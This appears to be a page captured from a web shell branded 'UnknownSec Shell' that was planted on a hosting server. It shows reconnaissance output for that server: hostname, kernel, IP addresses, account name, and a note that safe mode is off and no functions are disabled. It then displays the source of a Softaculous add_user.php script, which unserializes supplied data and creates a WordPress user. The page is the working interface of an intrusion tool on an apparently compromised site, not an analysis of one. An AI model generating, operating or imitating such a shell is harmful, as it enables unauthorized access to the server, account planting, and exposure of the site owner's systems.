shell bypass 403

UnknownSec Shell

: /var/softaculous/wp56/ [ drwxr-xr-x ]
Uname: Linux dedi-15171674.espacofacial.com.br 5.14.0-687.36.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Aug 7 05:40:49 EDT 2026 x86_64
Software: Apache
PHP version: 8.2.33 [ PHP INFO ] PHP os: Linux
Server Ip: 172.67.154.186
Your Ip: 216.73.217.141
User: espa7358 (1004) | Group: espa7358 (1003)
Safe Mode: OFF
Disable Function:
NONE

name : add_user.php
<?php

@unlink(__FILE__);

// Validate if the request is from Softaculous
if($_REQUEST['pass'] != '[[autopass]]'){
	die("Unauthorized Access");
}

require_once('wp-blog-header.php');

$user_data = '[[user_data]]';
$user_data = unserialize($user_data);

$add = wp_insert_user($user_data);

$ret = array();

if(is_wp_error($add)){
	$ret['error'] = $add->get_error_messages();
}else{
	$ret['done'] = 1;
}

echo '<add_user>'.serialize($ret).'</add_user>';

exit(0);
© 2026 UnknownSec